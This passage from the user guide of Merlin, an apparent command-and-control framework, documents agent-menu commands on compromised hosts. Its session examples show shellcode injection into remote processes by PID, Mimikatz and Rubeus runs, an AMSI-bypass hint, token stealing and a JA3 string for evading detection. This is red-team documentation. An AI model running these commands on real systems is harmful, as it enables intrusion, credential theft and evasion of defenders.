The `use` command is leveraged to access a feature such as modules. Currently there is only one option and that is `use modules` to access Merlin modules. View the modules page for additional details.

7.14 version

The `version` command is used to simply print the version numbers of the running Merlin server.

```
Merlin» version

Merlin version: 0.8.0.BETA

Merlin»
```

7.15 !

Any command that begins with a `!` (a.k.a bang or exclamation point) will be executed on host itself where the Merlin server is running. This is useful when you want simple information, such as your interface address, without having to open a new terminal.

```
Merlin» !ip a show ens32

[i] Executing system command...

[+] 2: ens32: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP␣
↪group default qlen 1000
    link/ether 00:0c:29:z3:ff:91 brd ff:ff:ff:ff:ff:ff
    inet 192.168.211.221/24 brd 192.168.211.255 scope global dynamic noprefixroute␣
↪ens32
       valid_lft 1227sec preferred_lft 1227sec
    inet6 fe80::a71d:1f6a:a0d1:7985/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

Merlin»
```

CHAPTER 8

Agent Menu

The agent menu context is used to interact with a single agent. The Merlin prompt will include the word `agent` along with the identifier for the selected agent. Type `help` to see a list of available commands for the agent menu context.

8.1 help

Note: The help menu will only show commands available to agent depending on its operating system

- *core*
- *linux*
- *windows*

8.1.1 core

The `core` commands are available to every agent regardless of which operating system they are running on

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» help

  COMMAND  |          DESCRIPTION           |            OPTIONS
+----------+--------------------------------+--------------------------------+
  cd       | Change directories             | cd ../../ OR cd c:\\Users
  clear    | Clear any UNSENT jobs from the |
           | queue                          |
  back     | Return to the main menu        |
  download | Download a file from the agent | download <remote_file>
  env      | View and modify environment    | env <get | set | unset |
           | variables                      | showall> [variable] [value]
  exit     | Instruct the agent to exit and |
           | quit running                   |
```

(continues on next page)

(continued from previous page)

```
group    | Add or remove the current      | group <add | remove> <group
         | agent to/from a group          | name>
ifconfig | Displays host network adapter  |
         | information                    |
interact | Interact with an agent         |
info     | Display all information about  |
         | the agent                      |
ja3      | Set the agent's JA3 client     | ja3 <ja3 signature string>
         | signature                      |
jobs     | Display all active jobs for    |
         | the agent                      |
kill     | Kill a running process by its  | kill <pid>
         | numerical identifier (pid)     |
killdate | Set the epoch date/time the    | killdate <epoch date>
         | agent will quit running        |
ls       | List directory contents        | ls /etc OR ls C:\\Users OR ls
         |                                | C:/Users
main     | Return to the main menu        |
maxretry | Set the maximum amount of      | maxretery <number>
         | times the agent can fail to    |
         | check in before it dies        |
note     | Add a server-side note to the  |
         | agent                          |
nslookup | DNS query on host or ip        | nslookup 8.8.8.8
padding  | Set the maximum amount of      | padding <number>
         | random data appended to every  |
         | message                        |
printenv | Print all environment          | printenv
         | variables. Alias for "env      |
         | showall"                       |
pwd      | Display the current working    | pwd
         | directory                      |
quit     | Exit and close the Merlin      | -y
         | server                         |
rm       | Remove, or delete, a file      | <file path>
run      | Execute a program directly,    | run ping -c 3 8.8.8.8
         | without using a shell          |
sessions | Display a table of information |
         | about all checked-in agent     |
         | sessions                       |
sdelete  | Securely delete a file         | sdelete <file path>
shell    | Execute a command on the agent | shell ping -c 3 8.8.8.8
         | using the host's default shell |
skew     | Set the amount of skew, or     | skew <number>
         | jitter, that an agent will use |
         | to checkin                     |
sleep    | Set the agent's sleep interval | sleep 30s
         | using Go time format           |
ssh      | Execute command on remote host | ssh <user> <pass> <host:port>
         | over SSH (non-interactive      | <program> [<args>]
status   | Print the current status of    |
         | the agent                      |
touch    | Match destination file's       | touch <source> <destination>
         | timestamps with source file    |
         | (alias timestomp)              |
upload   | Upload a file to the agent     | upload <local_file>
         |                                | <remote_file>
```

(continues on next page)

(continued from previous page)

```
!          | Execute a command on the host  | !<command> <args>
           | operating system              |
```

8.1.2 linux

These commands are only available to agents running on a `Linux` operating system.

```
       COMMAND       |          DESCRIPTION            |            OPTIONS
+--------------------+---------------------------------+---------------------------------
↪+
           memfd     | Execute Linux file in memory    | <file path> [<arguments>]
```

8.1.3 windows

These commands are only available to agents running on a `Windows` operating system.

```
       COMMAND       |          DESCRIPTION            |            OPTIONS
+--------------------+---------------------------------+---------------------------------
↪+
  execute-assembly   | Execute a .NET 4.0 assembly     | execute-assembly <assembly
                     |                                 | path> [<assembly args>
                     |                                 | <spawnto path> <spawnto args>]
  execute-pe         | Execute a Windows PE (EXE)      | execute-pe <pe path> [<pe
                     |                                 | args> <spawnto path> <spawnto
                     |                                 | args>]
  execute-shellcode  | Execute shellcode               | self, remote <pid>,
                     |                                 | RtlCreateUserThread <pid>
  invoke-assembly    | Invoke, or execute, a .NET      | <assembly name> <assembly
                     | assembly that was previously    | args>
                     | loaded into the agent's         |
                     | process                         |
  load-assembly      | Load a .NET assembly into the   | <assembly path> [<assembly
                     | agent's process                 | name>]
  list-assemblies    | List the .NET assemblies that   |
                     | are loaded into the agent's     |
                     | process                         |
  netstat            | display network connections     | netstat [-p tcp|udp]
  pipes              | Enumerate all named pipes       |
  ps                 | Get a list of running           |
                     | processes                       |
  runas              | Run a program as another user   | <DOMAIN\USER> <password>
                     |                                 | <program> [<args>]
  token              | Interact with Windows access    | <make | privs | rev2self |
                     | tokens                          | steal | whoami >
  sharpgen           | Use SharpGen to compile and     | sharpgen <code> [<spawnto
                     | execute a .NET assembly         | path> <spawnto args>]
  uptime             | Retrieve the host's uptime
```

8.2 cd

The `cd` command is used to change the current working directory the Merlin agent is using. Relative paths can be used (e.g.,. `./../` or `downloads\\Merlin`). This command uses native Go and will not execute the `cd` binary

program found on the host operating system.

The \ in a Windows directory must be escaped like `C:\\Windows\\System32`.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» cd /usr/bin
[-]Created job evtawDqBWa for agent a98e6175-7799-47fb-abf0-32534a9191f0 at 2019-02-
↪27T01:03:57Z
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job evtawDqBWa at␣
↪2019-02-27T01:03:59Z
Changed working directory to /usr/bin
```

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» cd "C:\\Program Files (x86)\\"
[-]Created job gwFQhcsKJi for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2019-02-
↪27T01:17:26Z
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job gwFQhcsKJi at␣
↪2019-02-27T01:17:30Z
Changed working directory to C:\Program Files (x86)
```

8.3 clear

The `clear` command will cancel all jobs in the queue that have not been sent to the agent yet. This command will only clear jobs for the current agent.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» clear
[+] jobs cleared for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
```

8.4 back

The `back` command is used to leave the Agent menu and return back to the *Main Menu*.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» back
Merlin»
```

8.5 download

The `download` command is used to download a file from the host where the agent is running back to the Merlin server. The file will be automatically saved in a folder with a name of the agent's identifier in the *dataagentsc1090dbc-f2f7-4d90-a241-86e0c0217786* directory.

Note: Because \ is used to escape a character, file paths require two (e.g., `C:\\Windows`)

Note: Enclose file paths containing a space with quotation marks (e.g.,. `"C:\\Windows\\Program Files\\"`)

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» download C:\\Windows\\hh.exe
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job NXnhJVRUSP for␣
↪agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]Results for job NXnhJVRUSP
[+]Successfully downloaded file C:\Windows\hh.exe with a size of 17920 bytes from␣
↪agent to C:\merlin\data\agents\c1090dbc-f2f7-4d90-a241-86e0c0217786\hh.exe
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
```

8.6 env

The `env` command is used to interact with environment variables and has the following methods:

- *get*
- *set*
- *showall*
- *unset*

8.6.1 get

The `env get` command is used to retrieve the value of an existing environment variable. The third, or last, argument is the name of environment variable to retrieve.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» env get TEST1
[-] Created job xaSqAdQBXs for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job xaSqAdQBXs for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+]
Environment variable TEST1=TESTINGTEST
```

8.6.2 set

The `env set` command is used create, or overwrite, an environment variable with the specified value. The third argument is the name of the environment variable and the fourth argument is the environment variables value.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» env set TEST1 TESTINGTEST
[-] Created job NcyukONetb for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job NcyukONetb for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+]
Set environment variable: TEST1=TESTINGTEST
```

8.6.3 showall

The `env showall` command enumerates and return all environment variables:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» env showall
[-] Created job NzbQEytJpY for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job NzbQEytJpY for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
```

(continues on next page)

(continued from previous page)

```
[+]
Environment variables:
SHELL=/bin/bash
SESSION_MANAGER=local/ubuntu:@/tmp/.ICE-unix/3195,unix/ubuntu:/tmp/.ICE-unix/3195
QT_ACCESSIBILITY=1
SNAP_REVISION=148
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
SNAP_REAL_HOME=/home/rastley
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
```

8.6.4 unset

The `env unset` command clears, or empties, the environment variable name provided in the third argument:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» env unset TEST1
[-] Created job hEYjNYeniT for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job hEYjNYeniT for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+]
Unset environment variable: TEST1

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» env get TEST1
[-] Created job IhKdCrKHEr for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job IhKdCrKHEr for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+]
Environment variable TEST1=
```

8.7 exit

The `exit` control type instructs the agent to exit or die. There is no response on the CLI after the instruction has been provided

The command will prompt for confirmation to prevent accidentally exiting the agent. If you are certain use the *-y* flag to skip confirmation.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» exit

are you sure that you want to exit the agent? [yes/NO]:
yes
Merlin»
[-] Created job LHhrzSYuGS for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
```

8.8 execute-assembly

Note: This command is only available to agent running on a `Windows` operating system!

The `execute-assembly` command uses go-donut to convert a .NET assembly into shellcode and then uses the `windows/x64/go/exec/createProcess` Merlin module to execute the shellcode.

Currently this command only supports .NET v4.0 assemblies. For more granular control, use the `windows/x64/go/exec/donut` module.

The command is executed as: `execute-assembly <assembly path> [<assembly args> <spawnto path> <spawnto args>]`

The command requires the file path to the assembly you wish to execute in the `<assembly path>` argument. All other arguments are optional. The `<spawnto path>` argument is the process that will be started on the target and where the shellcode will be injected and executed. If a `<spawnto path>` is not provided, `C:\WIndows\System32\dllhost.exe` will be used. The `<spawnto args>` value is used as an argument when starting the spawnto process.

Note: Because `\` is used to escape a character, file paths require two (e.g., `C:\\Windows`)

Note: Use quotes to enclose multiple arguments for `<assembly args>` (e.g., `execute-assembly Seatbelt.exe "LocalGroups LocalUsers"`)

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» execute-assembly Seatbelt.exe
↪"DotNet IdleTime" "C:\\Windows\\System32\\WerFault.exe" /?
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
[-] Created job dmAfzDPUsM for agent c1090dbc-f2f7-4d90-a241-86e0c0217786


[+] Results for c1090dbc-f2f7-4d90-a241-86e0c0217786 job dmAfzDPUsM



                        %&&@@@&&
                        &&&&&&&%%%,                        #&&@@@@@@%%%%%%##############
↪##%
                        &%&    %&%%                        &////(((&%%%%%#%#############
↪####//((((###%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%  &%%**#                     @////(((&%%%%%%##############
↪#########((((((((((((((((((((
#%%%%%%%%%%%%%%%%%%%%%%%%%%%%  &&%,,,,,,,,,,,,,,,,      @////(((&%%%%%%#%#############
↪#########((((((((((((((((((((
#%%%%%%%%%%%%%%%%%%%%%%%%%%%%  %%%,,,,,,  ,,,   ,,      @////(((&%%%%%%%%##############
↪##########(#(((#(#(((((((((((
#########%%%%%%%%%%%%%%%%%%%%%  &%%......  ...   ..      @////(((&%%%%%%%%##############
↪##########((#(#(####(((((((((
#########%%%%%%%%%%%%%%%%%%%%%  %%%......  ...   ..      @////(((&%%%%%%%%%%%%%%%%%%%%%
↪###########(#(#######((#####
###%%%%%%%%%%%%%%%%%%%%%%%%%%  &%%..............          @////(((&%%%%%%%%%%%%%%%%%%%%%
↪##########(#########((#####
#########%%%%%%%%%%%%%%%%%%%%  %%%..                     @////(((&%%%%%%%%##############
↪####
                        &%&    %%%%%       Seatbelt       %////(((&%%%%%%%%%%%%%%%%%%%%%
↪##*
                        &%%%&&%%%%%         v1.1.0         ,(((&%%%%%%%%%%%%%%%%%%%%,
                         #%%%%%#,


```

(continues on next page)

(continued from previous page)

```
====== DotNet ======

  Installed CLR Versions
      2.0.50727
      4.0.30319

  Installed .NET Versions
      3.5.30729.4926
      4.8.03752

  Anti-Malware Scan Interface (AMSI)
      OS supports AMSI           : True
     .NET version support AMSI   : True
        [!] The highest .NET version is enrolled in AMSI!
        [*] You can invoke .NET version 3.5 to bypass AMSI.
====== IdleTime ======

  CurrentUser : DESKTOP-H35RK21\rastley
  Idletime    : 00h:06m:02s:766ms (362766 milliseconds)



[*] Completed collection in 0.122 seconds
```

8.9 execute-pe

Note: This command is only available to agent running on a `Windows` operating system!

The `execute-pe` command uses go-donut to convert a Windows Portable Executable (PE), commonly an .exe, into shellcode and then uses the `windows/x64/go/exec/createProcess` Merlin module to execute the shellcode.

The command is executed as: `execute-pe <pe path> [<pe args> <spawnto path> <spawnto args>]`

The command requires the file path to the PE you wish to execute in the `<pe path>` argument. All other arguments are optional. The `<spawnto path>` argument is the process that will be started on the target and where the shellcode will be injected and executed. If a `<spawnto path>` is not provided, `C:\WIndows\System32\dllhost.exe` will be used. The `<spawnto args>` value is used as an argument when starting the spawnto process.

Note: Because `\` is used to escape a character, file paths require two (e.g., `C:\\Windows`)

Note: Use quotes to enclose multiple arguments for `<pe args>` (e.g., `execute-pe mimikatz.exe "coffee exit"`)

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» execute-pe mimikatz.exe "coffee␣
↪exit" C:\\Windows\\System32\\WerFault.exe Testing
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
[-] Created job BSvJZFvbRZ for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
```

(continues on next page)

(continued from previous page)

```
[+] Results for c1090dbc-f2f7-4d90-a241-86e0c0217786 job BSvJZFvbRZ


  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # coffee

    ( (
     ) )
  .-------.
  |       |]
  \       /
   `-----'

mimikatz(commandline) # exit
Bye!
```

8.10 execute-shellcode

Note: This command is only available to agent running on a `Windows` operating system!

The `execute-shellcode` command is used to have the Agent execute the provided shellcode. This command became available in version `0.6.4` and is only supported for Windows agents.

The `execute-shellcode` command takes the shellcode you want to execute at the last argument. Shellcode can be provided

- Hex (e.g.,. *5051525356*)
- `0x50, 0x51, 0x52, 0x53, 0x56` with or without spaces and commas
- `\x50\x51\x52\x53\x56`
- Base64 encoded version of the above formats
- A file containing any of the above formats or just a raw byte file

Warning: Shellcode injection and execution could cause a process to crash so choose wisely

Note: If Cobalt Strike's Beacon is injected using one of these methods, exiting the Beacon will cause the process to die too.

The agent can execute shellcode using one of the following methods:

- *self*

- *remote*
- *RtlCreateUserThread*
- *UserAPC*

8.10.1 self

The `self` method allocates space within the Merlin Agent process and executes the shellcode.

Syntax is `execute-shellcode self <SHELLCODE>`

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» execute-shellcode self␣
↪505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288
[-]Created job joQNJONrEK for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job joQNJONrEK
[+]Shellcode executed successfully
```

8.10.2 remote

The `remote` method creates a thread in another process using the CreateRemoteThreadEx Windows API call.

Syntax is `execute-shellcode remote <PID> <SHELLCODE>` where PID is the Process ID you want to execute the shellcode under.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» execute-shellcode remote 6560␣
↪0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C,␣
↪0x63, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76,␣
↪0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30,␣
↪0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE,␣
↪0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,␣
↪0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE,␣
↪0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D,␣
↪0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3
[-]Created job PRumZQYBFR for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job PRumZQYBFR
[+]Shellcode executed successfully
```

8.10.3 RtlCreateUserThread

The `rtlcreateuserthread` method creates a thread in another process using the undocumented RtlCreateUserThread Windows API call.

Syntax is `execute-shellcode rtlcreateuserthread <PID> <SHELLCODE>` where PID is the Process ID you want to execute the shellcode under.

Example:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» execute-shellcode␣
↪RtlCreateUserThread 6560␣
↪\x50\x51\x52\x53\x56\x57\x55\x6A\x60\x5A\x68\x63\x61\x6C\x63\x54\x59\x48\x83\xEC\x28\x65\x48\x8B\x3
[-]Created job CCWrmdLIFQ for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job CCWrmdLIFQ
[+]Shellcode executed successfully
```

8.10.4 UserAPC

The `userapc` method creates a thread in another process using the QueueUserAPC Windows API call.

Syntax is `execute-shellcode userapc <PID> <SHELLCODE>` where PID is the Process ID you want to execute the shellcode under.

Note: This method is highly unstable and therefore was intentionally not added to the tab completion list of available methods. The current implementation requires the process to have more than 1 thread. All remaining threads will have a user-mode APC queued to execute the shellcode and could result in multiple instances of execution. This method frequently causes processes to crash. Additionally, the shellcode might not execute at all if none of the threads were in an alertable state. The `svchost.exe` process usually provides a little better choice, but still not guaranteed.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» execute-shellcode userapc 4824 /
↪home/rickastley/calc.bin
[-]Created job NPQGRntaQX for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job NPQGRntaQX
[+]Shellcode executed successfully
```

8.11 group

The `group` command interacts with server-side groups that agents can be added to and removed from. Arbitrary agent commands and modules can be executed against an entire group at one time.

- *add*
- *remove*

8.11.1 add

The `group add` command adds the current agent to a named group. If the group name does not exist, it will be created. The list of available agents can be tab completed.

`group add <GroupName>`

```
Merlin[agent][336154be-9ab9-4add-96e6-69c79f1ce77d]» group add EvilCorp
[i] Agent 336154be-9ab9-4add-96e6-69c79f1ce77d added to group EvilCorp
Merlin[agent][336154be-9ab9-4add-96e6-69c79f1ce77d]» group add Workstations
[i] Agent 336154be-9ab9-4add-96e6-69c79f1ce77d added to group Workstations
Merlin[agent][336154be-9ab9-4add-96e6-69c79f1ce77d]» info

  Status                          | Active
  ID                              | 336154be-9ab9-4add-96e6-69c79f1ce77d
               <SNIP>
  Groups                          | EvilCorp, Workstations
  Note                            |
```

8.11.2 remove

The `group remove` command is used to remove an agent from a named group. The list of ALL agents is tab completable but does not mean the agent is in the group. The list of existing groups can also be tab completed.

```
group remove <agentID> <GroupName>
```

```
Merlin» group remove 99dbe632-984c-4c98-8f38-11535cb5d937 EvilCorp
Merlin»
[i] Agent 99dbe632-984c-4c98-8f38-11535cb5d937 removed from group EvilCorp
```

8.12 ifconfig

The `ifconfig` command will enumerate all of the host's network interfaces and return their configuration.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
[-] Created job SEbZZEzGeH for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[-] Results job SEbZZEzGeH for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] Ethernet0
  MAC Address   00:0c:29:04:29:9d
  IP Address    192.168.1.132
  Subnet Mask   255.255.255.0
  Gateway       192.168.153.2
  DHCP          Enabled
  DHCP Server:  192.168.1.254

Bluetooth Network Connection
  MAC Address   f4:02:28:35:ae:b6
  IP Address    0.0.0.0
  Subnet Mask   0.0.0.0
  Gateway       0.0.0.0
  DHCP          Enabled
  DHCP Server:
```

8.13 info

The `info` command is used to get information about a specific agent to include its configuration and environment.

- Status - The agent's current communication status of either active, delayed, or dead
- ID - The agent's unique identifier that is generated on execution
- Platform - The operating system and architecture the agent is running on
- User Name - The user name the agent is currently running as
- User GUID - The unique identifier for the user the agent is currently running as
- Hostname - The name of the compromised host where the agent is currently running
- Process Name - The name of the process the agent is currently running in
- Process ID - The numerical Process ID (PID) that the agent is currently running in
- IP - A list of interface IP addresses for where the agent is currently running
- Initial Check In - The date and time the agent first connected to the server
- Last Check In - The date and time the agent last connected to the server followed by the relative amount of time in parenthesis

- Groups - Any server-side groups the agent is a member of
- Note - Any operator generated notes about the agent
- Agent Version - The version number of the running agent
- Agent Build - A hash of the git commit the agent was built from
- Agent Wait Time - The amount of time the agent waits, or sleeps, between checkins
- Agent Wait Time Skew - The amount of skew multiplied to the agent wait time
- Agent Message Padding Max - The maximum amount of random data appended to every message to/from the agent
- Agent Max Retries - The maximum amount of times an agent can fail to check in before it quits running
- Agent Failed Check In - The total number of failed check in attempts
- Agent Kill Date - The date the agent will quit running. `1970-01-01T00:00:00Z` signifies that the kill date is not set
- Agent Communication Protocol - The protocol the agent is currently communicating over
- Agent JA3 TLS Client Signature - The JA3 client signature. If empty then the default Merlin signature is being used

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» info

  Status                          | Active
  ID                              | c1090dbc-f2f7-4d90-a241-86e0c0217786
  Platform                        | linux/amd64
  User Name                       | rastley
  User GUID                       | 1000
  Hostname                        | ubuntu
  Process Name                    | /tmp/go-build799148624/b001/exe/main
  Process ID                      | 200769
  IP                              | 127.0.0.1/8 ::1/128
                                  | 192.168.1.2/24
                                  | fe80::b7bb:3953:682e:cb7f/64
  Initial Check In                | 2021-08-02T23:56:10Z
  Last Check In                   | 2021-08-03T00:18:55Z (0:00:05
                                  | ago)
  Groups                          |
  Note                            |
                                  |
  Agent Version                   | 1.0.2
  Agent Build                     | nonRelease
  Agent Wait Time                 | 10s
  Agent Wait Time Skew            | 3000
  Agent Message Padding Max       | 4096
  Agent Max Retries               | 7
  Agent Failed Check In           | 0
  Agent Kill Date                 | 1970-01-01T00:00:00Z
  Agent Communication Protocol    | h2
  Agent JA3 TLS Client Signature  |
```

8.14 interact

The `interact` command takes one argument, the agent ID, and is used to switch agents and interact with a different, specified agent.

Note: Use the built-in tab completion to cycle through and select the agent to interact with.

```
Merlin[agent][c22c435f-f7c4-445b-bcd4-0d4e020645af]» interact d07edfda-e119-4be2-a20f-
↪918ab701fa3c
Merlin[agent][d07edfda-e119-4be2-a20f-918ab701fa3c]»
```

8.15 invoke-assembly

Note: This command is only available to agent running on a `Windows` operating system!

The `invoke-assembly` command will execute a .NET assembly that was previously loaded into the agent with the *load-assembly* command. The first argument is the name of the assembly and all the remaining arguments are passed to the assembly for execution. Use the *list-assemblies* command return a list of loaded assemblies. The *execute-assembly* command is different because it uses injection to run the assembly in a child process. This command runs the assembly in the current process without injection.

Note: Only CLR v4 is currently supported which can be used to execute both v3.5 and v4 .NET assemblies

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» invoke-assembly Rubeus.exe klist
[-] Created job GlPHKaRtmg for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[-] Results job GlPHKaRtmg for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+]
   _______          _
  (_______ \        | |
   _______) )_    _| |__  _____ _   _  ___
  |  ___  /| | | | |  _ \| ___ | | | |/___)
  | |   \ \| |_| | |_) ) ____| |_| |___ |
  |_|    |_|____/|____/|_____)____/(___/

  v1.5.0


Action: List Kerberos Tickets (Current User)

[*] Current LUID    : 0x37913
```

8.16 ja3

JA3 is a method for fingerprinting TLS clients on the wire. Every TLS client has a unique signature depending on

its configuration of the following TLS options: `SSLVersion,Ciphers,Extensions,EllipticCurves,EllipticCurvePointFormats`.

The `ja3` option allows the agent to create a TLS client based on the provided JA3 hash signature. This is useful to evade detections based on a JA3 hash for a known tool (e.g.,. Merlin). This article documents a JA3 fingerprint for Merlin. Known JA3 signatures can be downloaded from https://ja3er.com/

Note: Make sure the input JA3 hash will enable communications with the Server. For example, if you leverage a JA3 hash that only supports SSLv2 and the server does not support that protocol, then they will not be able to communicate. The `-ja3` flag will override the the `-proto` flag and will cause the agent to use the protocol provided in the JA3 hash.

This example will create a TLS client with a JA3 hash of `51a7ad14509fd614c7bb3a50c4982b8c` that matches Java based malware such as Neutrino and Nuclear Exploit Kit (EK).

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» ja3 769,49161-49171-47-49156-
↪49166-51-50-49159-49169-5-49154-49164-49160-49170-10-49155-49165-22-19-4-255,10-11-
↪0,23-1-3-19-21-6-7-9-10-24-11-12-25-13-14-15-16-17-2-18-4-5-20-8-22,0
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
[-] Created job DWXtIAdjYz for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
```

8.17 jobs

The `jobs` command will display a table of all active jobs assigned to the agent. The output will not include jobs that have already completed.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» jobs

      ID      | STATUS  |     TYPE      |       CREATED        |          SENT
+-------------+---------+---------------+----------------------+----------------------+
  whFGRWHudV | Sent    | NativeCmd     | 2020-12-18T11:45:07Z | 2020-12-18T11:45:38Z
  UxegCkyROR | Sent    | AgentControl  | 2020-12-18T11:45:11Z | 2020-12-18T11:45:38Z
  YqhfUvxkqZ | Created | CmdPayload    | 2020-12-18T11:45:44Z |
```

8.18 kill

The `kill` command is used to force a running process to quit or exit by its numerical identifier. The Process ID (PID) must be provided.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell "ps aux|grep gnome-
↪calculator"
[-] Created job mBYVsnbYBS for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job mBYVsnbYBS for agent c1090dbc-f2f7-4d90-a241-86e0c0217786

[+] john      132905  0.3  0.6 890376 50268 ?        Sl   07:41   0:00 gnome-
↪calculator

Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» kill 132905
[-] Created job rjXgPGnZYl for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[-] Results job rjXgPGnZYl for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
```

(continues on next page)

(continued from previous page)

```
[+] Successfully killed pid 132905
```

8.19 killdate

Killdate is a UNIX timestamp that denotes a time the executable will not run after (if it is 0 it will not be used). Killdate is checked before the agent performs each checkin, including before the initial checkin.

Killdate can be set in the agent/agent.go file before compiling, in the New function instantiation of a new agent. One scenario for using the killdate feature is an agent is persisted as a service and you want it to stop functioning after a certain date, in case the target organization fails to remediate the malicious service. Using killdate here would stop the agent from functioning after a certain specified UNIX system time.

The Killdate can also be set or changed for running agents using the `set killdate` command from the agent menu. This will only modify the killdate for the running agent in memory and will not update the compiled binary file. http://unixtimestamp.50x.eu/ can be used to generate a UNIX timestamp.

A UNIX timestamp of *0* will read like *1970-01-01T00:00:00Z* in the agent info table.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» killdate 811123200
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
[-]Created job utpISXXXbl for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
```

8.20 list-assemblies

